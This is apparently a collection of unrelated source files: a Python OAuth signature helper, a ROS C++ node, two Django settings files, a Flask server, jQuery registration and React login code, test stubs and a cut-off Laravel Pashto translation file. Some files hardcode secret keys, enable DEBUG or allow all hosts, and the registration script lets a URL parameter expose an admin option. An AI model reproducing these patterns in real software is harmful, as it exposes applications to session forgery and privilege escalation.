signature generation\n\n :param secret: API secret\n :param params: dictionary of values which will be sent in the query\n :param nonce: (Optional) random string used in signature creation, uuid4() is used if not provided\n :param timestamp: (Optional) integer-format timestamp, time.time() is used if not provided\n :return: dict containing params and the OAuth1.0 fields required before executing signature.create\n\n :type secret: str\n :type params: dict\n :type nonce: str\n :type timestamp: int\n\n :Example:\n\n >>> from emailage.signature import add_oauth_entries_to_fields_dict\n >>> query_params = dict(user_email='registered.account.user@yourcompany.com',\\\n query='email.you.are.interested.in@gmail.com'\\\n )\n >>> query_params = add_oauth_entries_to_fields_dict('YOUR_API_SECRET', query_params)\n >>> query_params['oauth_consumer_key']\n 'YOUR_API_SECRET'\n >>> query_params['oauth_signature_method']\n 'HMAC-SHA1'\n >>> query_params['oauth_version']\n 1.0\n \"\"\"\n if nonce is None:\n nonce = uuid4()\n if timestamp is None:\n timestamp = int(time.time())\n\n params['oauth_consumer_key'] = secret\n params['oauth_nonce'] = nonce\n params['oauth_signature_method'] = 'HMAC-SHA1'\n params['oauth_timestamp'] = timestamp\n params['oauth_version'] = 1.0\n\n return params\n\n\ndef create(method, url, params, hmac_key):\n \"\"\" Generates the OAuth1.0 signature used as the value for the query string parameter 'oauth_signature'\n \n :param method: HTTP method that will be used to send the request ( 'GET' | 'POST' ); EmailageClient uses GET\n :param url: API domain and endpoint up to the ?\n :param params: user-provided query string parameters and the OAuth1.0 parameters\n :method add_oauth_entries_to_fields_dict:\n :param hmac_key: for Emailage users, this is your consumer token with an '&' (ampersand) appended to the end\n\n :return: str value used for oauth_signature\n\n :type method: str\n :type url: str\n :type params: dict\n :type hmac_key: str\n\n :Example:\n\n >>> from emailage.signature import add_oauth_entries_to_fields_dict, create\n >>> your_api_key = 'SOME_KEY'\n >>> your_hmac_key = 'SOME_SECRET' + '&'\n >>> api_url = 'https://sandbox.emailage.com/emailagevalidator/'\n >>> query_params = { 'query': 'user.you.are.validating@gmail.com', 'user_email': 'admin@yourcompany.com' }\n >>> query_params = add_oauth_entries_to_fields_dict(your_api_key, query_params)\n >>> query_params['oauth_signature'] = create('GET', api_url, query_params, your_hmac_key)\n\n \"\"\"\n\n query = normalize_query_parameters(params)\n base_string = concatenate_request_elements(method, url, query)\n digest = hmac_sha1(base_string, hmac_key)\n return encode(digest)\n", "// -*- C++ -*-\n/**\n * @file region_maker.cpp\n * @brief A ROS node to make correct region for obstacle measurment\n *\n * @author Yasushi SUMI \n * \n * Copyright (C) 2021 AIST\n * Released under the MIT license\n * https://opensource.org/licenses/mit-license.php\n */\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \n\n#include \n#include \"region_maker.h\"\n\n/*!\n * @brief main function\n*/\nint main(int argc, char** argv)\n{\n ros::init (argc, argv, \"region_maker\");\n\n emulated_srs::RegionMaker region_maker;\n\n ros::spin();\n\n return 0;\n}\n\nemulated_srs::RegionMaker::RegionMaker(void)\n :\n emulated_srs::ObstacleDetector(),\n param_fname_to_save_(\"Reg.png\"),\n param_path_to_save_(\"./\")\n{\n node_handle_.getParam(\"filename_region\", param_fname_to_save_);\n node_handle_.getParam(\"path_to_save\", param_path_to_save_);\n\n ROS_INFO(\"filename_region: %s\", param_fname_to_save_.c_str());\n ROS_INFO(\"path_to_save: %s\", param_path_to_save_.c_str());\n}\n\nvoid emulated_srs::RegionMaker::initializeMap(\n const int width,\n const int height,\n const int point_step)\n{\n this->emulated_srs::ObstacleDetector::initializeMap(width,height,point_step);\n map_for_detection_.setDrawLabel(true);\n \n \n return;\n}\n\nint\nemulated_srs::RegionMaker::save(void) noexcept\n{\n int width = map_for_showing_depth_data_.width();\n int height = map_for_showing_depth_data_.height();\n UFV::ImageData regimg(width, height, 1);\n unsigned char *rimg = regimg.data();\n unsigned char *dimg = map_for_showing_depth_data_.data();\n\n for(int i=0; i 0 && *dimg == 0) // R is positive, and B is zero\n {\n *rimg = 255;\n }\n rimg ++;\n dimg += 3;\n }\n\n regimg.setWriteImage(true, param_path_to_save_);\n regimg.writeImage(param_fname_to_save_);\n\n ROS_INFO(\"Saved: %s\", (param_path_to_save_ + param_fname_to_save_).c_str());\n\n return(UFV::OK);\n}\n\n\nvoid emulated_srs::RegionMaker::displayAll(void)\n{\n // Copy the depth image with rtection results for display\n map_for_detection_.normalize(map_for_showing_depth_data_);\n\n if(has_rgb_data_)\n {\n // Copy the current RGB image.\n map_for_showing_rgb_data_ = *(map_for_rgb_display_.getImageData());\n }\n\n // Overwrite the depth image with the obstacle reasons.\n //map_for_detection_.drawObstacleRegionWithLabel(map_for_showing_depth_data_);\n map_for_detection_.setDrawLabel(false);\n map_for_detection_.drawObstacleRegion(map_for_showing_depth_data_);\n\n UFV::KeyDef dret1, dret2, dret3;\n \n // Display the images.\n if(has_rgb_data_)\n {\n dret1 = map_for_showing_rgb_data_.display(\"RGB\", -1);\n }\n\n map_for_detection_.setDrawLabel(true);\n dret2 = map_for_detection_.display(\"Detection\",-1);\n dret3 = map_for_showing_depth_data_.display(\"Depth\", 10);\n\n //std::cout << dret1 << \", \" << dret2 << \", \" << dret3 << std::endl;\n\n if(dret1 == UFV::KEY_SAVE || dret2 == UFV::KEY_SAVE ||\n dret3 == UFV::KEY_SAVE)\n {\n this->save();\n }\n\n return;\n \n}\n", "\"\"\"\nDjango settings for backend project.\n\nGenerated by 'django-admin startproject' using Django 3.1.3.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/3.1/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/3.1/ref/settings/\n\"\"\"\n\nfrom pathlib import Path\nfrom datetime import timedelta\nimport os\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'.\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '2(iwreobf4b(-=h_p=^!obgxdgn3_*s!17=_3wc4dun9_y^q+c'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'rest_framework',\n 'backend.core',\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'backend.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'backend.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/3.1/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': BASE_DIR / 'db.sqlite3',\n }\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\nLOGIN_URL = \"/api/v1/signin\"\nSIMPLE_JWT = {\n \"ACCESS_TOKEN_LIFETIME\": timedelta(minutes=60),\n \"REFRESH_TOKEN_LIFETIME\": timedelta(days=2),\n}\n\nCORS_ORIGIN_WHITELIST = [\"http://localhost:3000\", \"http://127.0.0.1:3000\"]\n# Internationalization\n# https://docs.djangoproject.com/en/3.1/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.1/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, \"static/\")\n\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": [\"rest_framework_simplejwt.authentication.JWTAuthentication\"],\n \"DEFAULT_RENDERER_CLASSES\": [\"rest_framework.renderers.JSONRenderer\"],\n \"TEST_REQUEST_DEFAULT_FORMAT\": \"json\",\n \"DEFAULT_PERMISSION_CLASSES\": (\"rest_framework.permissions.DjangoModelPermissions\",),\n}\n", "\"\"\"\nDjango settings for hiren project.\n\nGenerated by 'django-admin startproject' using Django 1.8.4.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.8/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.8/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport json\nfrom celery.schedules import crontab\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# load json file baby :D\ntry:\n with open('config.json') as f:\n JSON_DATA = json.load(f)\nexcept FileNotFoundError:\n with open('config.sample.json') as f:\n JSON_DATA = json.load(f)\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ.get('SECRET_KEY', JSON_DATA['secret_key'])\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = os.environ.get('DEBUG', False)\n\nALLOWED_HOSTS = ['*']\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'debug_toolbar',\n 'github'\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n)\n\nROOT_URLCONF = 'hiren.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': ['templates'],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'hiren.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.8/ref/settings/#databases\n\nif 'TRAVIS' in os.environ:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'travisci',\n 'USER': 'postgres',\n 'PASSWORD': '',\n 'HOST': 'localhost',\n 'PORT': '',\n }\n }\nelse:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'hiren_github_management',\n 'USER': 'hiren',\n 'PASSWORD': 'hiren',\n 'HOST': 'localhost',\n 'PORT': '',\n }\n }\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.8/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Asia/Dhaka'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.8/howto/static-files/\n\nSTATIC_URL = '/static/'\n\nSTATICFILES_FINDERS = (\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\"\n)\n\nSTATICFILES_DIRS = (\n os.path.join(BASE_DIR, \"static\"),\n)\n\nLOGIN_URL = '/'\n\n# CELERY STUFF\nBROKER_URL = 'redis://localhost:6379'\nCELERY_RESULT_BACKEND = 'redis://localhost:6379'\nCELERY_ACCEPT_CONTENT = ['application/json']\nCELERY_TASK_SERIALIZER = 'json'\nCELERY_RESULT_SERIALIZER = 'json'\n\n\nCELERYBEAT_SCHEDULE = {\n 'add-every-30-seconds': {\n 'task': 'github.tasks.get_data',\n 'schedule': crontab(minute=0, hour='22'), # execute every day at 10 pm\n },\n}", "\"\"\"\napp.py - Flask-based server.\n\n@author Thomas J. Daley, J.D.\n@version: 0.0.1\nCopyright (c) 2019 by Thomas J. Daley, J.D.\n\"\"\"\nimport argparse\nimport random\nfrom flask import Flask, render_template, request, flash, redirect, url_for, session, jsonify\nfrom wtforms import Form, StringField, TextAreaField, PasswordField, validators\n\nfrom functools import wraps\n\nfrom views.decorators import is_admin_user, is_logged_in, is_case_set\n\nfrom webservice import WebService\nfrom util.database import Database\n\nfrom views.admin.admin_routes import admin_routes\nfrom views.cases.case_routes import case_routes\nfrom views.discovery.discovery_routes import discovery_routes\nfrom views.drivers.driver_routes import driver_routes\nfrom views.info.info_routes import info_routes\nfrom views.login.login import login\nfrom views.objections.objection_routes import objection_routes\nfrom views.real_property.real_property_routes import rp_routes\nfrom views.responses.response_routes import response_routes\nfrom views.vehicles.vehicle_routes import vehicle_routes\n\nfrom views.decorators import is_admin_user, is_case_set, is_logged_in\n\nWEBSERVICE = None\n\nDATABASE = Database()\nDATABASE.connect()\n\napp = Flask(__name__)\n\napp.register_blueprint(admin_routes)\napp.register_blueprint(case_routes)\napp.register_blueprint(discovery_routes)\napp.register_blueprint(driver_routes)\napp.register_blueprint(info_routes)\napp.register_blueprint(login)\napp.register_blueprint(objection_routes)\napp.register_blueprint(rp_routes)\napp.register_blueprint(response_routes)\napp.register_blueprint(vehicle_routes)\n\n\n# Helper to create Public Data credentials from session variables\ndef pd_credentials(mysession) -> dict:\n return {\n \"username\": session[\"pd_username\"],\n \"password\": session[\"pd_password\"]\n }\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('home.html')\n\n\n@app.route('/attorney/find/', methods=['POST'])\n@is_logged_in\ndef find_attorney(bar_number: str):\n attorney = DATABASE.attorney(bar_number)\n if attorney:\n attorney['success'] = True\n return jsonify(attorney)\n return jsonify(\n {\n 'success': False,\n 'message': \"Unable to find attorney having Bar Number {}\"\n .format(bar_number)\n }\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Webservice for DiscoveryBot\")\n parser.add_argument(\n \"--debug\",\n help=\"Run server in debug mode\",\n action='store_true'\n )\n parser.add_argument(\n \"--port\",\n help=\"TCP port to listen on\",\n type=int,\n default=5001\n )\n parser.add_argument(\n \"--zillowid\",\n \"-z\",\n help=\"Zillow API credential from https://www.zillow.com/howto/api/APIOverview.htm\" # NOQA\n )\n args = parser.parse_args()\n\n WEBSERVICE = WebService(args.zillowid)\n app.secret_key = \"SDFIIUWER*HGjdf8*\"\n app.run(debug=args.debug, port=args.port)\n", "(function () {\n const ERRORS = {\n invalidPassword: 'Please enter a valid password.',\n invalidEmail: 'Please enter a valid email',\n invalidUsername: 'Username is not a valid. Specical char, upper, number is required.',\n invalidFirstname: 'Please provide valid firstname.',\n\n passAndConfirmShouldMatch: 'Password and Confirm password should match.',\n\n existingEmail: 'That email is already taken.',\n existingUsername: 'That username is not available.'\n };\n\n function isEmail(email) {\n const re = /^(([^<>()\\[\\]\\\\.,;:\\s@\"]+(\\.[^<>()\\[\\]\\\\.,;:\\s@\"]+)*)|(\".+\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$/;\n\n return re.test(String(email).toLowerCase());\n }\n\n function isValidUsername(name) {\n name = String(name);\n\n if (!name.match(/[\\$@#!&*%]/)) {\n return false;\n } else if (!name.match(/[A-Z]/)) {\n return false;\n } else if (!name.match(/[a-z]/)) {\n return false;\n } else if (!name.match(/[0-9]/)) {\n return false;\n }\n\n return true;\n }\n\n function renderErrors(formElm, errors) {\n const $errElm = $('');\n const $formElm = $(formElm);\n\n for (const elm in errors) {\n const $errField = $formElm.find(`[name=${elm}]`);\n const $fieldErr = $errElm.clone();\n\n $fieldErr.text(ERRORS[elm]);\n\n $fieldErr.insertAfter($errField);\n }\n }\n\n function removeErrors(e) {\n const $formElm = $(e.target).closest('form');\n\n $formElm.children().filter('.error').remove();\n }\n\n function onRegSubmit(e) {\n e.stopPropagation();\n e.preventDefault();\n\n removeErrors(e);\n\n const formData = {};\n const errors = {};\n let hasError = false;\n\n for (let i of e.target) {\n if (i.type !== 'submit') {\n formData[i.name] = i.value;\n }\n }\n\n if (formData.password.length === 0) {\n errors.password = 'invalidPassword';\n hasError = true;\n } else if (formData.password !== formData['confirm-password']) {\n errors['confirm-password'] = 'passAndConfirmShouldMatch';\n hasError = true;\n }\n\n if (!isEmail(formData.email)) {\n errors.email = 'invalidEmail';\n hasError = true;\n }\n\n if (!isValidUsername(formData.username)) {\n errors.username = 'invalidUsername';\n hasError = true;\n }\n\n if (formData.firstname.length < 2) {\n errors.firstname = 'invalidFirstname'\n hasError = true;\n }\n\n // users\n if (hasError) {\n renderErrors(e.target, errors);\n } else {\n ET.showSpinner();\n console.log(\"formData =-----> \", formData);\n ET_API.createUser(formData).then((logged) => {\n localStorage.setItem('loggedIn', true);\n localStorage.setItem('isAdmin', logged['is-admin'] === 'on');\n\n ET.navigateTo && ET.navigateTo('Dashboard');\n ET.createSiteNav();\n ET.hideSpinner();\n }).catch(err => {\n renderErrors(e.target, err);\n localStorage.setItem('loggedIn', false);\n ET.createSiteNav();\n ET.hideSpinner();\n });\n }\n }\n\n function isAdmin() {\n return location.search.indexOf('isAdmin=true') > 0;\n }\n\n // Add event listeners\n // Reinitialize the listeners\n ET.removeListeners();\n ET.addListeners();\n\n const $regForm = $('form.user-registration');\n $('[data-reset-error]').keydown(removeErrors);\n $regForm.submit(onRegSubmit);\n\n if (isAdmin()) {\n const $passField = $regForm.find('#confirm-password');\n const $checkBox = $(`\n \n \n `);\n\n $checkBox.insertAfter($passField);\n }\n})();\n", "import sinon from 'sinon';\nimport PropTypes from 'prop-types';\nimport configureStore from 'redux-mock-store';\n\nconst mockStore = configureStore();\n\nwindow.TestStubs = {\n // react-router's 'router' context\n router: () => ({\n push: sinon.spy(),\n replace: sinon.spy(),\n go: sinon.spy(),\n goBack: sinon.spy(),\n goForward: sinon.spy(),\n setRouteLeaveHook: sinon.spy(),\n isActive: sinon.spy(),\n createHref: sinon.spy()\n }),\n\n location: () => ({\n query: {},\n pathame: '/mock-pathname/'\n }),\n\n routerContext: (location, router) => ({\n context: {\n location: location || TestStubs.location(),\n router: router || TestStubs.router()\n },\n childContextTypes: {\n router: PropTypes.object,\n location: PropTypes.object\n }\n }),\n\n store: state =>\n mockStore({\n auth: {isAuthenticated: null, user: null},\n ...state\n }),\n\n storeContext: store => ({\n context: {\n store: store || TestStubs.store()\n },\n childContextTypes: {\n store: PropTypes.object\n }\n }),\n\n standardContext: () => {\n let result = TestStubs.routerContext();\n let storeResult = TestStubs.storeContext();\n result.context = {...result.context, ...storeResult.context};\n result.childContextTypes = {\n ...result.childContextTypes,\n ...storeResult.childContextTypes\n };\n return result;\n },\n\n Build: params => ({\n created_at: '2018-01-06T16:07:16.830829+00:00',\n external_id: '325812408',\n finished_at: '2018-01-06T16:11:04.393590+00:00',\n id: 'aa7097a2-f2fb-11e7-a565-0a580a28057d',\n label: 'fix: Remove break-word behavior on coverage',\n number: 650,\n provider: 'travis-ci',\n result: 'passed',\n source: {\n author: {\n email: 'dcramer@gmail.com',\n id: '659dc21c-81db-11e7-988a-0a580a28047a',\n name: 'David Cramer'\n },\n created_at: '2018-01-06T16:07:16.814650+00:00',\n id: 'aa6e1f90-f2fb-11e7-a565-0a580a28057d',\n revision: {\n author: {\n email: 'dcramer@gmail.com',\n id: '659dc21c-81db-11e7-988a-0a580a28047a',\n name: 'David Cramer'\n },\n committed_at: '2018-01-06T16:06:52+00:00',\n created_at: '2018-01-06T16:06:52+00:00',\n message: 'fix: Remove break-word behavior on coverage\\n',\n sha: 'eff634a68a01d081c0bdc51752dfa0709781f0e4'\n }\n },\n started_at: '2018-01-06T16:07:16.957093+00:00',\n stats: {\n coverage: {\n diff_lines_covered: 0,\n diff_lines_uncovered: 0,\n lines_covered: 6127,\n lines_uncovered: 3060\n },\n style_violations: {\n count: 0\n },\n tests: {\n count: 153,\n count_unique: 153,\n duration: 14673.0,\n failures: 0,\n failures_unique: 0\n },\n webpack: {\n total_asset_size: 0\n }\n },\n status: 'finished',\n url: 'https://travis-ci.org/getsentry/zeus/builds/325812408',\n ...params\n }),\n\n Repository: params => ({\n backend: 'git',\n created_at: '2017-08-15T17:01:33.206772+00:00',\n full_name: 'gh/getsentry/zeus',\n id: '63e820d4-81db-11e7-a6df-0a580a28004e',\n latest_build: null,\n name: 'zeus',\n owner_name: 'getsentry',\n provider: 'gh',\n url: 'git@github.com:getsentry/zeus.git',\n permissions: {\n admin: true,\n read: true,\n write: true\n },\n ...params\n })\n};\n", "import React, { useState } from 'react'\nimport { Button, Card, Col, Container, Form, Row } from 'react-bootstrap'\nimport { useHistory } from 'react-router-dom'\nimport NaeApiAuth from '../../service/NaeApiAuth'\n\nconst texts = {\n en: {\n form: 'Login form',\n username: 'Username',\n password: 'Password',\n login: 'Login',\n newMember: 'New member?',\n signup: 'Sign up'\n },\n lt: {\n form: 'Prisijungimas',\n username: 'Vartotojas',\n password: 'Slapta\u017eodis',\n login: 'Prisijungti',\n newMember: 'Naujas vartotojas?',\n signup: 'Registruotis'\n }\n}\n\ninterface Props {\n lang?: string\n}\n\nexport default function NaeAuthLoginPage(props: Props) {\n const { lang = 'en' } = props\n const history = useHistory()\n const [email, setEmail] = useState('')\n const [password, setPassword] = useState('')\n\n const goToSignUp = () => {\n history.push('/register')\n }\n\n const doLogin = () => {\n NaeApiAuth.doLogin(email, password)\n .then((res) => {\n if (res.isError) {\n alert(res.error.description)\n return\n }\n window.localStorage.setItem('token', res.token)\n history.push('/')\n })\n .catch((e) => alert(e.message))\n }\n\n return (\n
    \n \n \n \n \n \n {texts[lang].form}\n \n
    \n \n {texts[lang].username}:\n\n setEmail(e.target.value)}\n />\n \n \n {texts[lang].password}:\n\n setPassword(e.target.value)}\n />\n \n
    \n
    \n \n \n \n

    \n {texts[lang].newMember}{' '}\n {\n e.preventDefault()\n goToSignUp()\n }}\n >\n {texts[lang].signup}\n \n

    \n \n \n doLogin()}\n >\n {texts[lang].login}\n \n \n
    \n
    \n
    \n \n \n
    \n
    \n
    \n )\n}\n", " '\u0628\u0627\u06cc\u062f \u0648\u0645\u0646\u0644 \u0634\u06cc :attribute.',\n 'accepted_if' => 'The :attribute must be accepted when :other is :value.',\n 'active_url' => ':attribute \u06cc\u0648 \u0628\u0627\u0648\u0631\u064a \u0644\u06cc\u0646\u06a9 \u0646\u0647 \u062f\u06cc.',\n 'after' => '\u0628\u0627\u06cc\u062f:attribute \u062a\u0631 \u0646\u0646 \u0648\u0631\u0681\u06d0 \u0646\u06cc\u067c\u06d0 \u067e\u0648\u0631\u06d0 :date.',\n 'after_or_equal' => ':attribute \u0628\u0627\u06cc\u062f \u0648\u0631\u0648\u0633\u062a\u06cc \u0646\u06cc\u067c\u0647 \u0648\u064a \u06cc\u0627 \u062f \u0646\u06cc\u067c\u06d0 \u0633\u0631\u0647 \u0633\u0645\u0648\u0646 \u0648\u0644\u0631\u064a :date.',\n 'alpha' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0634\u0627\u0645\u0644 \u0646\u0647 \u0648\u064a :attribute \u06cc\u0648\u0627\u0632\u06d0 \u067e\u0647 \u062d\u0631\u0641\u0648 \u06a9\u06d0.',\n 'alpha_dash' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0634\u0627\u0645\u0644 \u0646\u0647 \u0648\u064a :attribute \u06cc\u0648\u0627\u0632\u06d0 \u067e\u0647 \u062d\u0631\u0641\u0648 \u06a9\u06d0\u060c \u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647.',\n 'alpha_num' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u06cc\u0648\u0627\u0632\u06d0 \u062e\u0637\u0648\u0646\u0647 \u0627\u0648 \u0634\u0645\u06cc\u0631\u06d0.',\n 'array' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u064b\u0645\u06cc\u067c\u0631\u06a9\u0633.',\n 'before' => '\u0628\u0627\u06cc\u062f:attribute \u062f \u062a\u0627\u0631\u06cc\u062e \u067e\u062e\u0648\u0627 \u062a\u0627\u0631\u06cc\u062e \u0648\u067c\u0627\u06a9\u0626 :date.',\n 'before_or_equal' => ':attribute \u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a \u062f \u062a\u06cc\u0631 \u0646\u06cc\u067c\u06d0 \u06cc\u0627 \u0646\u06cc\u067c\u06d0 \u0633\u0631\u0647 \u0633\u0645\u0648\u0646 \u062e\u0648\u0631\u064a :date.',\n 'between' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u062f \u0639\u0646\u0627\u0635\u0631\u0648 \u067e\u0647 \u0645\u0646\u0681 \u06a9\u06d0 :min \u0627\u0648 :max.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0645\u0627 \u0628\u064a\u0646:min \u0627\u0648 :max \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0645\u0627 \u0628\u064a\u0646:min \u0627\u0648 :max.',\n 'string' => '\u062f \u0645\u062a\u0646 \u062d\u0631\u0648\u0641 \u0628\u0627\u06cc\u062f \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0645\u0627 \u0628\u064a\u0646:min \u0627\u0648 :max.',\n ],\n 'boolean' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0627\u0648 \u06cc\u0627 \u0647\u0645 true \u06cc\u0627 false .',\n 'confirmed' => '\u062f \u062a\u0627\u06cc\u06cc\u062f \u0633\u0627\u062d\u0647 \u062f \u0633\u0627\u062d\u06d0 \u0633\u0631\u0647 \u0633\u0645\u0648\u0646 \u0646\u0647 \u0644\u0631\u064a:attribute.',\n 'current_password' => 'The password is incorrect.',\n 'date' => ':attribute \u0646\u06d0\u067c\u0647 \u0627\u0639\u062a\u0628\u0627\u0631 \u0646\u0644\u0631\u064a .',\n 'date_equals' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u062f \u0646\u06cc\u067c\u06d0 \u0633\u0631\u0647 \u0633\u0645:date.',\n 'date_format' => '\u0645\u0637\u0627\u0628\u0642\u062a \u0646\u0644\u0631\u064a :attribute \u062f \u0634\u06a9\u0644 \u0633\u0631\u0647:format.',\n 'declined' => 'The :attribute must be declined.',\n 'declined_if' => 'The :attribute must be declined when :other is :value.',\n 'different' => '\u0633\u0627\u062d\u06d0 \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0648 :other \u0645\u062e\u062a\u0644\u0641.',\n 'digits' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u067e\u0647 :digits \u0634\u0645\u06d0\u0631 / \u0634\u0645\u06d0\u0631\u06d0.',\n 'digits_between' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u0645\u0627 \u0628\u064a\u0646:min \u0648 :max \u0634\u0645\u06d0\u0631 / \u0634\u0645\u06d0\u0631\u06d0 .',\n 'dimensions' => '\u062f :attribute \u062f \u0646\u0627\u0628\u0627\u0648\u0631\u0647 \u0627\u0646\u0681\u0648\u0631 \u0627\u0693\u062e\u0648\u0646\u0647 \u0644\u0631\u064a.',\n 'distinct' => '\u062f \u0633\u0627\u062d\u06d0 \u0685\u062e\u0647 :attribute \u062f \u0646\u0642\u0644 \u0627\u0631\u0632\u069a\u062a .',\n 'email' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u06cc\u0648 \u0628\u0627\u0648\u0631\u064a \u0628\u0631\u06cc\u069a\u0644\u06cc\u06a9 \u067e\u062a\u0647 \u062c\u0648\u0693\u069a\u062a.',\n 'ends_with' => 'The :attribute must end with one of the following: :values.',\n 'enum' => 'The selected :attribute is invalid.',\n 'exists' => '\u0645\u0634\u062e\u0635 \u0627\u0631\u0632\u069a\u062a :attribute 